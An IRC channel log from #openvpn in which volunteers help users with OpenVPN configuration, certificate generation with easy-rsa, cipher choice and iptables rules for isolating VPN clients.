10:03 <@vpnHelper> "verb" is (#1) verb command is for setting log verbosity, see --verb in the manual (!man) for more info or (#2) verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage.
10:03 <@dazo> or put "disable" into a client-config in the --ccd
10:03 <@EugeneKay> Feel free to raise your concern on the mailing list. Provide a patch and a good reason or expect to be laughed it.
10:04 < rob0> laughed at*
10:05 < jww> okay I guess I'm done with that problem.thanks EugeneKay.
10:07 -!- backblue [~igor@fam-rtr-01-wan.3gnt.net] has joined #openvpn
10:07 < backblue> hello, any devs online?
10:08 <@dazo> backblue: depends on your question
10:08 < backblue> I have been testing VLAN code on the trac for review, that's why.
10:08 <@dazo> backblue: what's the ticket?
10:09 < backblue> I have a litle question about the client, maybe someone can help me out here, It's possible to get the client UP without IP in tap mode?
10:09 <@dazo> we've had that ticket lingering for quite a while, because to few tested the patch and to really review it
10:10 <@dazo> the developer of that patch isn't really active around here :/
10:10 < backblue> dazo, It's the code from Fabian Knittel
10:10 <@dazo> there are 300 tickets .... I don't remember which ticket, without searching for it
10:10 < backblue> I don't know if it's a ticket, let me check
10:11 -!- Denial [Denial@90.205.133.229] has joined #openvpn
10:11 <@dazo> trac == needs a ticket ;-)
10:11  * EugeneKay clocks dazo doing 36 in a 35 zone
10:11 < backblue> dazo, https://community.openvpn.net/openvpn/ticket/6
10:11 <@vpnHelper> Title: #6 (VLAN-Tagging (Pull Request)) – OpenVPN Community (at community.openvpn.net)
10:11 < backblue> http://thread.gmane.org/gmane.network.openvpn.devel/3489
10:12 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org)
10:12 -!- raidz_away is now known as raidz
10:12 < backblue> I fond this
10:12 <@dazo> backblue: ahh, thx!
10:13 < backblue> I have done one rpm for it, and was testing in our lab, seems to be working, but my question about the client remains
10:13 < backblue> I mostly want to get one VPN concentrator in L2 only in some specific clients
10:15 <@dazo> backblue: I think the best thing to do would be to pull up that thread again on the mailing list ... maybe Fabian wakes up again ... but his git tree has been fairly untouched for over a year ... so it might be an unpleasant thing to move that tree forward to the latest 2.3/master code base
10:16 < jww> query dazo
10:16 < jww> ops
10:16 < backblue> this is a great feature, should be included in openvpn, I can try to port the patch's to 2.3, if I get this doing what I need
10:17 <@dazo> backblue: the more people needing this, who can test and review this, that will surely help a lot
10:17 < backblue> I have it working now, the only part missing it's the client
10:18 < backblue> I always get in the client one IP address from the server, I don't want that
10:18 <@dazo> backblue: we're quite few on manpower in the community side of the development .... so we mostly scratch our own itches and pull in what looks "safe and trouble free" .... if it's more heavy lifting, then join the meetings and help us solving things (reviewing, fixing bugs, document stuff, etc, etc) ... and things starts to move
10:20 <@dazo> backblue: we're going to have a developers meeting tomorrow ... on #openvpn-devel ... feel free to join!
10:22 < backblue> Sorry I don't have the time to help so actively, porting some patchs it's different of integrate in the development team.
10:23 < backblue> dazo, it's possible to get one openvpn interface up without ip on the client?
10:24 <@dazo> backblue: --ifconfig-nopush ... iirc
10:24 <@dazo> that's used in configs inside ccd
10:25 < backblue> didn't know that option
10:26 < backblue> dazo, that work on 2.2 branch?
10:26 <@dazo> backblue: yeah, it's an old option
10:26 < backblue> well client still get ip, maybe don't work on tap?
10:27 <@dazo> backblue: let me double check the man page
10:28 < backblue> my ccd client setting have :
10:28 < backblue> vlan-pvid 101
10:28 < backblue> ifconfig-nopush
10:28 < backblue> but my client still get Wed Jun 19 16:25:46 2013 /usr/sbin/ip addr add dev tap0 192.168.8.128/24 broadcast 192.168.8.255
10:30 <@dazo> backblue: I might have mixed things .... I can't find nopush now .... but there is a tweak how to do it ... but I don't have JJK's book available, I think that's where I learned about it
10:30 <@dazo> !jjk
10:30 <@dazo> !book
10:30 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
10:31 < backblue> I don't have that book
10:31 <@dazo> I can highly recommend it ;-)
10:32 <@dazo> the fun thing about it ... JJK dived into the source code and actually pulled up some tricks which is not documented anywhere else
10:35 < backblue> well, that's not very good for any opensource project "undocumented options"
10:35 <@dazo> well ... it's open source, so it is "documented" ... in the source :)   But JJK's finding have helped updating the man page to some degree too
10:36 <@dazo> I've looked through things ... need to dig into the book or the source code ... so I prefer the book ... it was something clever with --ifconfig-push ... but I honestly don't recall now
10:38 < backblue> I tired googling, can't find anything
10:48 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
10:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
10:59 < nantou> im creating a vpn with https://www.linux.com/learn/tutorials/457103:install-and-configure-openvpn-server-on-linux , I have used route and ipconfig to fill in all data as shown on picture 1, but I cannot find "network" anywhere, how do I find that variable?
10:59 <@vpnHelper> Title: Install and Configure OpenVPN Server on Linux | Linux.com (at www.linux.com)
11:02 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 268 seconds]
11:06 <@dazo> nantou: do you know what this tutorial does exactly?
11:07 <@dazo> !howto
11:07 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
11:07 <@dazo> nantou: rather use one of the _official_ how-to's ...
11:11 < nantou> thanks dazo
11:11 < rob0> I'm not looking at the picture, but I will toss in this comment: "ipconfig" is not a Linux command.
11:13 <@EugeneKay> I'm pretty sureI told you yesterday to ignore that piece of shit "tutorial"
11:13 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:13 -!- mode/#openvpn [+v s7r] by ChanServ
11:13 <@EugeneKay> But hey, feel free to ignore advice and blindly follow some random blog post
11:19 < rob0> Haven't you heard of Internet Quality Control, IQC? All random blog posts are subject to professional review now, and the lousy ones are taken down (or DoSed in worst case.)
11:19 <@dazo> rob0: then the DoS guys are doing a poor job .....
11:22 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
11:38 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
11:41 < nantou> my easy-rsa sub directory is within the examples sub directory, is that a problem?
11:42 < nantou> I also installed easy-rsa from synaptic, and that one has a whole different directory tree, to which one do I have to cd?
11:43 < nantou> sholud I copy this "new" easy-rsa into "openvpn"?
11:45 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 260 seconds]
11:46 < nantou> disregard my questions
11:48 -!- Alina-malina [Alina-mali@82.199.216.54] has joined #openvpn
11:48 < Alina-malina> Hello all!
11:49 < Alina-malina> I want to configure my debian os to access it from other countries and surf the web via my computer stored  at home, please tell me how i can do that? Is openvpn free software?
11:51 < nantou> !howto Alina-malina
11:51 < nantou> !howto
11:51 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
11:51 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
11:51 < Alina-malina> i mean if i install it is it a free? or i have to pay for that?
11:51 < rob0> !openvpn
11:52 < rob0> heh, oh well
11:52 < nantou> free
11:52 < Alina-malina> both? the client and server? or it is limited?
11:52 < rob0> "OpenVPN Community" is GPL-licensed free software, included with many GNU/Linux distributions.
11:53 < BtbN> there is no client and server
11:53 < nantou> im now setting the KEY_COUNTRY, KEY_PROVINCE, KEY_CITY, KEY_ORG, and KEY_EMAIL parameters. how sincere do I have to be for the first 3 variables?
11:53 < nantou> i meant 4
11:53 < Alina-malina> ok thank you so much!
11:54 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:54 < backblue> it's possible to use in the client tap devices and get IP from dhcp on the network?
11:54 < rob0> nantou, you might want to consider lying for those. :)
11:56 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 255 seconds]
11:56 < nantou> rob0, I have 2 KEY EMAIL lines, what do I do with the second one?
11:57 <@krzee> EugeneKay, you are useless! now support my paid product!
11:57 <@krzee> :D
11:58 < russoisraeli> hello guys. Quick question - what's the best cipher to use? which one is the most secure? fastest? best compromise between secure and fast?
11:58 <@krzee> most secure, depends who you are
11:58 <@krzee> err
11:58 <@krzee> who you ask*
11:59 <@krzee> nsa would say AES 256
12:00 < russoisraeli> what would you say? :)
12:00 <@krzee> i like blowfish
12:00 <@krzee> the default
12:00 <@krzee> which is also the fastest (unless you are doing aes with hardware accel)
12:01 <@krzee> err maybe not fastest, but fastest strong one
12:01 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
12:01 < russoisraeli> ok
12:01 < russoisraeli> speed wise, is it comparable to AES?
12:02 <@krzee> !gigabit
12:02 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
12:02 <@krzee> give that a read, it talks about bf vs aes while tuning over gigabit
12:03 < russoisraeli> thanks!
12:03 <@krzee> yw =]
12:03 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
12:04 <@EugeneKay> krzee - tree fiddy
12:04 <@krzee> :D
12:04 < nantou> ./clean-all
12:04 < nantou> mkdir: cannot create directory ‘/usr/share/easy-rsa/keys’: Permission denied <<<<<< I wonder, should I . ./vars with sudo too?
12:05 <@krzee> either change vars to use a dir you control or do it as root
12:05 <@krzee> as in from a root shell
12:06 <@EugeneKay> You shouldn't be doing easy-rsa stuff in /usr/share/
12:06 <@EugeneKay> cp it to somewhere in your homedir
12:07 < nantou> then Ill have 3 copies of that dir, default, a copy into the "openvpn" directory and this third somehwere in my home dir, will problems arise?
12:07 < russoisraeli> silly question... how can you test on linux, if the cpu supports AES-NI ?
12:10 <@krzee> look up your cpu
12:10 -!- mattock [~yaaic@gprs-internet-bceee0-12.dhcp.inet.fi] has joined #openvpn
12:10 -!- mattock [~yaaic@gprs-internet-bceee0-12.dhcp.inet.fi] has quit [Changing host]
12:10 -!- mattock [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn
12:10 -!- mode/#openvpn [+o mattock] by ChanServ
12:15 < nantou> any tips for the challenge password? how long? are non ASCII characters accepted?
12:15 < nantou> I mean ''=)?
12:15 < nantou> @
12:16 < nantou> ö
12:16 <@dazo> nantou: you can ignore the challenge password ... that's very seldom used at all
12:17 < nantou> certificate: Write out database with 1 new entries
12:17 < nantou> Data Base Updated
12:17 < nantou> unable to write 'random state'
12:17 <@dazo> it's basically a text string in the CSR, which the CA asks you to put there ... so they can identify your signing request
12:17 < nantou> is that last "unable" a problem?
12:17 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
12:18 <@dazo> nantou: I'm guessing you're missing a serial.txt file
12:18 < nantou> dazo, maybe because the location of my easy-rsa edited directory is non standard? (IE in my home dir)?
12:18 -!- mattock [~yaaic@openvpn/corp/admin/mattock] has quit [Quit: Yaaic - Yet another Android IRC client - http://www.yaaic.org]
12:22 < nantou> do I create a "serial.txt" file in the directory?
12:23 <@krzee> if you follow:
12:23 <@krzee> !pki
12:23 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
12:23 <@vpnHelper> signed specially as a server (see !servercert)
12:23 <@krzee> it'll do what you need
12:24 -!- noecc [~irc@unaffiliated/noecc] has quit [Ping timeout: 268 seconds]
12:24 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out]
12:25 < nantou> krzee, i have followed step by step the instructions found at http://openvpn.net/index.php/open-source/documentation/howto.html, what did I do wrong? does the how to need to be edited? particularities of my xubuntu 13.04?
12:25 <@vpnHelper> Title: HOWTO (at openvpn.net)
12:25 <@krzee> it works for everyone else so im gunna say, try again
12:27 <@dazo> nantou: make sure you sourced the ./vars file properly ... and that paths are correct
12:28 < nantou> yup, paths, thats why I didnt want to copy the directory to my home folder
12:28 < nantou> noob here doesnt know to source or edit paths
12:29 <@dazo> nantou: you're not the first one ;-)
12:29 < nantou> is this way really easier than editing with admin privileges on etc/openvpn?
12:30 <@EugeneKay> russoisraeli - cat /proc/cpuinfo
12:31 -!- Devastator [~devas@186.214.15.80] has quit [Read error: Connection reset by peer]
12:33 -!- Devastator [~devas@186.214.15.80] has joined #openvpn
12:37 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  Want to be different? Try HydraIRC -> http://www.hydrairc.com <-]
12:38 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has quit [Ping timeout: 276 seconds]
12:39 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
12:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
12:40 < nantou> solved
12:41 < nantou> Generate certificates & keys for 3 clients, what if I create for 7 c lients?
12:41 <@krzee> *facepalm*
12:42 < nantou> noob had to ask
12:42 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:50 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
12:51 <@dazo> nantou: but 8 might be too much .......
12:51  * dazo hides
12:53 -!- CookieNinja_ [carrot@unaffiliated/tommehm] has joined #openvpn
12:56 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
12:57 -!- erry [erry@freenode/staff/erry] has quit [Killed (kornbluth.freenode.net (Nickname regained by services))]
12:57 -!- erry_ is now known as erry
12:57 -!- cruxeternus [~cruxetern@secspeed.com] has left #openvpn []
12:59 -!- Willis_ [Willis@173.234.237.131] has joined #openvpn
12:59 -!- lickalott_ [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
12:59 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
13:00 -!- Netsplit *.net <-> *.split quits: mcp, Willis, @krzee, lickalott, Cultist, defswork, CookieNinja, russoisraeli
13:00 -!- Netsplit over, joins: Cultist
13:05 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has joined #openvpn
13:06 -!- russoisraeli [~igor@malka.Princeton.EDU] has joined #openvpn
13:07 -!- defswork [~andy@141.0.50.105] has joined #openvpn
13:12 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:13 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has quit [Ping timeout: 240 seconds]
13:15 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
13:18 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Remote host closed the connection]
13:18 < nantou> dazo, should I create different ID's for each of the 3 clients?
13:19 <@dazo> nantou: ehh ... what do you mean with IDs?  Common Names?  If yes, then definitely!
13:19 < nantou> dazo, but the email adress can be the same, right?
13:19 <@dazo> nantou: yes, e-mail can be the same
13:20 < nantou> ok then
13:27 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn
13:28 -!- krzee [~k@2610:150:4002::3:1] has quit [Changing host]
13:28 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
13:28 -!- mode/#openvpn [+o krzee] by ChanServ
13:31 < backblue> dazo, developer Fabian answer my email, I will speak with him, and get back to you guys about this vlan patch's
13:32 <@dazo> backblue: great!  And if you can help out on reviewing on the ML and join #openvpn-devel meetings, then it will surely help to get things moving ... but if you ditch us immediately after you got your stuff into the tree ... then we won't trust you ever again ;-)
13:35 < backblue> he as something done already
13:36 < backblue> I will mail him again with more details, maybe we can both help this going further and get included in the trunk which is what I want
13:40 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has joined #openvpn
13:40 < nantou> im a bit confused with this: The final step in the key generation process is to copy all files to the machines which need them, taking care to copy secret files over a secure channel.
13:40 < nantou> machine meaning laptop, or pc, right?
13:41 <@ecrist> yup
13:41 <@ecrist> the server doesn't need the client certificates or keys
13:41 <@ecrist> the clients don't need the server certificate or keys
13:41 <@ecrist> both client and server need the CA certificate (not the key)
13:42 < backblue> dazo, why the patchs were not accepted and integrated when he sended them in the first place?
13:43 <@dazo> backblue: lack of wide testing, and only one gave the patches a fair and good code review ... and we never saw any additional updates based on those comments
13:44 < backblue> Ok, let me see what we can do. Thanks
13:44 <@dazo> and Fabian did hang out for a little while, but never really committed to much more ... so when he disappeared, we most likely forgot all about it
13:44 < backblue> cheers
13:44 < backblue> well have it working right now, without problems
13:44 < backblue> let's see if we can provide patchs for 2.3 or MASTER
13:46 < backblue> well have to go now
13:46 < backblue> cya
13:46 -!- backblue [~igor@fam-rtr-01-wan.3gnt.net] has quit [Quit: Ex-Chat]
13:47 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has quit [Ping timeout: 264 seconds]
13:53 -!- Jaga [~Jaga@kekkonen.cs.hut.fi] has quit [Ping timeout: 248 seconds]
13:58 -!- Jaga [~Jaga@kekkonen.cs.hut.fi] has joined #openvpn
14:01 -!- gchristensen [~gchristen@unaffiliated/grahamc] has joined #openvpn
14:01 < gchristensen> !welcome
14:01 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
14:01 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:01 < gchristensen> !goal
14:01 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:02 -!- dazo is now known as dazo_afk
14:03 < gchristensen> my problem is probably a firewall: I want to have a VPN from a client's datacenter into my datacenter so they can exclusively access a certain IP and port. Would it be best to 1) implement auto-SSH with port forwarding? or 2) can OpenVPN be configured to provide this level of service? 3) Do I need to implement firewalling elsewhere to make this realistic?
14:09 <@krzee> no idea what 1) and 2) are, but if you just vpn in and access the service on the vpn ip, its quite easy
14:22 < nantou> im confused: Before you use the sample configuration file, you should first edit the ca, cert, key, and dh parameters to point to the files you generated in the PKI section above., do I find all those parameters in the xinetd-client.config and xinetd-server-config? I dont find any other ".config" files in the directory
14:24 -!- Devastator [~devas@186.214.15.80] has quit [Ping timeout: 240 seconds]
14:49 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit [Read error: Operation timed out]
14:54 < lamba> using subnet mode, can you still easily prevent clients from talking to each other ?
15:00 < lamba> i'm not using client-to-client by the way, but the traffic still goes through.
15:17 < nantou> Editing the server configuration file: Before you use the sample configuration file, you should first edit the ca, cert, key, and dh parameters to point to the files you generated in the PKI section above., I cannot find those files anywhere
15:18 < lamba> nantou: you need to generate them
15:19 < lamba> nantou: http://openvpn.net/index.php/open-source/documentation/howto.html#pki
15:19 <@vpnHelper> Title: HOWTO (at openvpn.net)
15:22 -!- master_of_master [~master_of@p4FD7B58C.dip0.t-ipconnect.de] has joined #openvpn
15:22 < nantou> generate means to copy the content of the  server.conf.gz file I just found, edit it (the ca, caert, key and dh parameters) and copy it elsewhere?
15:22 < lamba> no, generate means read the link i posted.
15:23 < lamba> you have to actually create those files, they're unique to your server
15:25 -!- master_o1_master [~master_of@p4FD7B4B1.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
15:25 < nantou> are those files in the easy-rsa directory?
15:30 < nantou> id really appreciate some guidance, howto talks about "server.conf and client.conf" files, however in my machine there is only a "server.conf.gz" I have located the 4 parameters: ", you should first edit the ca, cert, key, and dh parameters to point to the files you generated in the PKI section above" do I have to write a path?
15:31 -!- gchristensen [~gchristen@unaffiliated/grahamc] has left #openvpn ["WeeChat 0.4.0"]
15:38 < lamba> the gunzip is a zipped file, you need to unzip it. the other files are in easy-rsa normally.
15:45 < lamba> is anyone else awake who can explain inter-client communications to me ? I'm not really sure why openvpn is passing this traffic when i didnt expect ti to without client-to-client enabled
15:46 < nantou> lamba, unzip it to its own directory, correct?
15:46 < lamba> nantou: to where the docs tell you to.
15:46 < lamba> typically on linux /etc/openvpn
15:47 < nantou> lamba, documentation says nothing, it does not talkt about any compressed file
15:47 < lamba> are you on ubuntu ?
15:47 < nantou> yes, xubuntu
15:47 < lamba> https://help.ubuntu.com/12.04/serverguide/openvpn.html
15:47 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
15:48 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has joined #openvpn
15:48 < darkdrgn2k> hi all
15:48 < darkdrgn2k> is there  away to cancel a DNS PUSH fomr a client config?
15:48 < nantou> great, so do I have to disregard the official how to or mix it with all this new info? lamba
15:49 < lamba> nantou: o_O
15:50 < nantou> im taking a break
15:50 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
15:50 < lamba> darkdrgn2k: dunno. you could set /etc/resolv.conf chattr +i though.
15:50 < darkdrgn2k> remote machine is winblows
15:51 < lamba> oh. no idea then =) dont use it.
15:51 < lamba> pretty sure you can ignore a default gateway push so you prolly can, somehow.
15:52 -!- spodletela [~spodletel@89-212-170-180.static.t-2.net] has joined #openvpn
15:54 < spodletela> i have a question, if i start openvpn client on bsd, all the server daemons are no longer accessible to the network (smtp,...). I suspect the problem is with reply packets which go out by default gateway and this is the vpn... am i on right track?
15:54 <@EugeneKay> Sounds like it, yup.
15:54 < lamba> spodletela: sounds plausable.
15:54 <@EugeneKay> You're probbly using --redirect-gateway def1, when you don't want to be.
15:56 < lamba> EugeneKay: do you know a way to avoid client communicating while still using subnet mode ?
15:56 < lamba> google isnt helping a whole lot, just tells me the opposite of what i need to know =)
15:56 <@EugeneKay> Don't use --client-to-client mode and have the appropriate firewall rules in place
15:57 <@EugeneKay> FORWARD chain in particular
15:57 <@EugeneKay> -i tun+ -o tun+'
15:57 < lamba> i'm not using client-to-client, but my forward chain is empty.
15:57 <@EugeneKay> is the key.
15:57 <@EugeneKay> Well there you go.
15:57 < lamba> i didnt think openvpn passed those packets to the kernel though ?
15:57 <@EugeneKay> !c2c
15:57 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things
15:57 <@vpnHelper> behind other clients
15:57 <@EugeneKay> Without c2c they are
15:58 < lamba> oh, odd. when i put "iptables -I INPUT -s <vpn subnet> -j DROP" i could still ping from one client to anouther
15:58 <@EugeneKay> That's because that's INPUT
15:58 < lamba> the forward chain is after the input one, right ?
15:58 <@EugeneKay> No, it's an entirely different route
15:58 < lamba> oh ;p
15:59 <@EugeneKay> http://en.wikipedia.org/wiki/File:Netfilter-packet-flow.svg
15:59 <@vpnHelper> Title: File:Netfilter-packet-flow.svg - Wikipedia, the free encyclopedia (at en.wikipedia.org)
15:59 < lamba> this explains alot ;-)
15:59 < spodletela> EugeneKay: redirect-gateway is pushed to client from the vpn server, right? The server is not under my control :( Is there any way to override this?
15:59 <@EugeneKay> `iptables -A FORWARD -i tun+ -o tun+ -j DROP` will drop all traffic from any tun device to any other tun device
15:59 <@EugeneKay> (including itself)
15:59 <@EugeneKay> spodletela - it can be
15:59 <@EugeneKay> !push_reset
16:00 <@vpnHelper> "push_reset" is Don't inherit the global push list for a specific client instance. Specify this option in a client-specific context such as with a --client-config-dir configuration file. This option will ignore --push options at the global config file level.
16:00 <@EugeneKay> Ugh, not that one
16:00 <@EugeneKay> !nopull
16:00 < lamba> thanks EugeneKay
16:00 <@EugeneKay> Hrm.
16:00 <@EugeneKay> Look up --nopull in the man page
16:00 < spodletela> checking it..
16:00 <@EugeneKay> --route-nopull*
16:01 <@EugeneKay> One of you guys with bot powers, could you add a !nopull?
16:18 -!- trumee [~parul@185.11.37.19] has joined #openvpn
16:37 -!- nikkiheat [~nikkiheat@c-24-10-172-109.hsd1.ut.comcast.net] has joined #openvpn
16:52 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:56 -!- emcepe is now known as mcp
17:09 -!- nikkiheat [~nikkiheat@c-24-10-172-109.hsd1.ut.comcast.net] has quit [Quit: Nettalk6 - www.ntalk.de]
17:28 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
17:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:35 -!- Denial [Denial@90.205.133.229] has quit []
17:45 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
17:49 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
18:16 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has joined #openvpn
18:27 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
18:39 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 248 seconds]
18:53 -!- OllieN [~znc@sponge.acol.edu.au] has quit [Ping timeout: 256 seconds]
19:02 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
19:10 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has quit [Ping timeout: 260 seconds]
19:14 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
19:19 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 246 seconds]
19:24 -!- defswork [~andy@141.0.50.105] has quit [Read error: Operation timed out]
19:25 -!- defswork [~andy@141.0.50.105] has joined #openvpn
19:30 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
19:31 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
19:33 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
19:37 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has joined #openvpn
19:41 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has quit [Ping timeout: 240 seconds]
19:53 -!- mitz [~mitz@rt.miraclelinux.com] has joined #openvpn
19:53 -!- raidz is now known as raidz_away
19:56 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 248 seconds]
19:58 -!- mitz [~mitz@rt.miraclelinux.com] has quit [Read error: Connection reset by peer]
19:59 -!- mitz [~mitz@rt.miraclelinux.com] has joined #openvpn
20:06 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
20:06 -!- nikkiheat [~nikkiheat@46.sub-70-196-198.myvzw.com] has joined #openvpn
20:06 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
20:07 -!- Mike3 [mad@probie.xs4all.nl] has joined #openvpn
20:08 -!- defswork [~andy@141.0.50.105] has joined #openvpn
20:08 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 256 seconds]
20:08 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has quit [Ping timeout: 246 seconds]
20:08 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
20:09 -!- EugeneKay [eugene@badcryp.to] has quit [Ping timeout: 245 seconds]
20:09 -!- cj_ [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 264 seconds]
20:09 -!- MacGyver_ [~MacGyver@kershaw.polvanaubel.com] has quit [Ping timeout: 264 seconds]
20:09 -!- Mike-- [mad@probie.xs4all.nl] has quit [Ping timeout: 252 seconds]
20:10 -!- nikkiheat [~nikkiheat@46.sub-70-196-198.myvzw.com] has quit [Read error: Connection reset by peer]
20:11 -!- nikkiheat [~nikkiheat@46.sub-70-196-198.myvzw.com] has joined #openvpn
20:12 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
20:12 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
20:12 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
20:12 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
20:13 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Remote host closed the connection]
20:15 -!- nikkiheat2 [~nikkiheat@220.sub-70-196-196.myvzw.com] has joined #openvpn
20:15 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
20:15 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
20:15 -!- nikkiheat [~nikkiheat@46.sub-70-196-198.myvzw.com] has quit [Ping timeout: 252 seconds]
20:16 -!- mode/#openvpn [+v EugeneKay] by ChanServ
20:16 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:17 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
20:21 -!- nikkiheat2 [~nikkiheat@220.sub-70-196-196.myvzw.com] has quit [Ping timeout: 268 seconds]
20:22 -!- nikkiheat [~nikkiheat@74.sub-70-196-196.myvzw.com] has joined #openvpn
20:28 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:28 -!- michaelhart [~michaelha@162.209.54.120] has quit [Remote host closed the connection]
20:28 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Ping timeout: 240 seconds]
20:29 -!- nikkiheat [~nikkiheat@74.sub-70-196-196.myvzw.com] has quit [Ping timeout: 256 seconds]
